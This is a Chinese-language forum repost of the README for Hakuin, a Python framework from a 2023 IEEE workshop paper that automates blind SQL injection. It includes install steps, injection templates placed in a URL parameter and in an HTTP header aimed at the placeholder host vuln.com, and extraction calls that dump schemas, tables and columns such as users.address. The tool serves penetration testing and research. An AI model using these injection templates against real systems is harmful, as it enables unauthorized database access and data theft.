Hakuin - 快速的盲 SQL 注入最佳化和自動化框架

twhackteam

Administrator
站方人員
Hakuin 是一個用 Python 3 編寫的盲 SQL注入( BSQLI )優化和自動化 框架。為了加快這個過程,Hakuin 採用了多種最佳化方法,包括預訓練和自適應語言模型、機會猜測、並行性等。

Hakuin 曾在著名的學術和工業會議上發表演講: - BlackHat MEA,利雅得,2023 年 - Hack in the Box,普吉島,2023 年 - IEEE S&P 攻擊性技術研討會 (WOOT),2023 年

更多資訊可以在我們的論文幻燈片中找到。


安裝​

要安裝 Hakuin,只需運行:

pip3 install hakuin<br>
開發人員應該在本地安裝該套件並設定-e可編輯模式的標誌:

git clone [email protected]:pruzko/hakuin.git<br>cd hakuin<br>pip3 install -e .<br>

範例​

一旦發現 BSQLI 漏洞,您需要告訴 Hakuin 如何注入其查詢。為此,請從 派生一個類別Requester並重寫該request方法。此外,該方法必須確定查詢是否解析為True或False。

範例 1 - 使用基於狀態的推理進行查詢參數注入​

import aiohttp<br>from hakuin import Requester<br><br>class StatusRequester(Requester):<br> async def request(self, ctx, query):<br> r = await aiohttp.get(f'<a href="http://vuln.com/?n=XXX" rel="nofollow"><span>http</span><span>://</span><span>vuln</span><span>.</span><span>com</span><span>/?</span><span>n</span><span>=</span><span>XXX</span></a>" OR ({query}) --')<br> return r.status == 200<br>

範例 2 - 使用基於內容的推理進行標頭注入​

class ContentRequester(Requester):<br> async def request(self, ctx, query):<br> headers = {'vulnerable-header': f'xxx" OR ({query}) --'}<br> r = await aiohttp.get(f'<a href="http://vuln.com/" rel="nofollow"><span>http</span><span>://</span><span>vuln</span><span>.</span><span>com</span><span>/</span></a>', headers=headers)<br> return 'found' in await r.text()<br>
要開始提取數據,請使用該類別<a href="https://www.kitploit.com/search/label/Extractor" target="_blank" title="Extractor">Extractor</a>。它需要一個DBMS物件來建構查詢和一個Requester物件來注入它們。 Hakuin 目前支援SQLite、MySQL( PSQLPostgreSQL) 和MSSQL(SQL Server) DBMS,但很快就會包含更多選項。如果您希望支援另一個 DBMS,請實作DBMS中定義的介面hakuin/dbms/DBMS.py。

範例 1 - 提取 SQLite/MySQL/PSQL/MSSQL​

import asyncio<br>from hakuin import Extractor, Requester<br>from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL<br><br>class StatusRequester(Requester):<br> ...<br><br>async def main():<br> # requester: Use this Requester<br> # dbms: Use this DBMS<br> # n_tasks: Spawns N tasks that extract column rows in parallel <br> ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)<br> ...<br><br>if __name__ == '__main__':<br> asyncio.get_event_loop().run_until_complete(main())<br>
現在一切都已設定完畢,您可以開始提取資料庫元資料。

範例 1 - 擷取資料庫模式​

# strategy:<br># 'binary': Use binary search<br># 'model': Use pre-trained model<br>schema_names = await ext.extract_schema_names(strategy='model')<br>

範例 2 - 提取表​

tables = await ext.extract_table_names(strategy='model')<br>

範例 3 - 提取列​

columns = await ext.extract_column_names(table='users', strategy='model')<br>

範例 4 - 將表格和列一起擷取​

metadata = await ext.extract_meta(strategy='model')<br>
一旦了解了結構,就可以提取實際內容。

範例 1 - 提取通用列​

# text_strategy: Use this strategy if the column is text<br>res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')<br>

範例 2 - 擷取文字列​

# strategy:<br># 'binary': Use binary search<br># 'fivegram': Use five-gram model<br># 'unigram': Use unigram model<br># 'dynamic': Dynamically identify the best strategy. This setting<br># also enables opportunistic guessing.<br>res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')<br>

範例 3 - 擷取整數列​

res = await ext.extract_column_int(table='users', column='id')<br>

範例 4 - 提取浮點列​

res = await ext.extract_column_float(table='products', column='price')<br>

範例 5 - 提取 Blob(二進位資料)列​

res = await ext.extract_column_blob(table='users', column='id')<br>
更多範例可以在目錄中找到tests。

從命令列使用 Hakuin​

Hakuin 附帶了一個簡單的包裝工具 ,hk.py它允許您直接從命令列使用 Hakuin 的基本功能。要了解更多信息,請運行:

python3 hk.py -h<br>

對於研究人員​

該儲存庫是為了滿足安全從業人員的需求而積極開發的。希望重現我們論文中描述的實驗的研究人員應該安裝凍結版本,因為它包含原始程式碼、實驗腳本和重現結果的說明手冊。

白院城​

@inproceedings{hakuin_bsqli,<br> title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},<br> author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},<br> booktitle={2023 IEEE Security and Privacy Workshops (SPW)},<br> pages={384--393},<br> year={2023},<br> organization={IEEE}<br>}<br>


下載白隱
 
返回
上方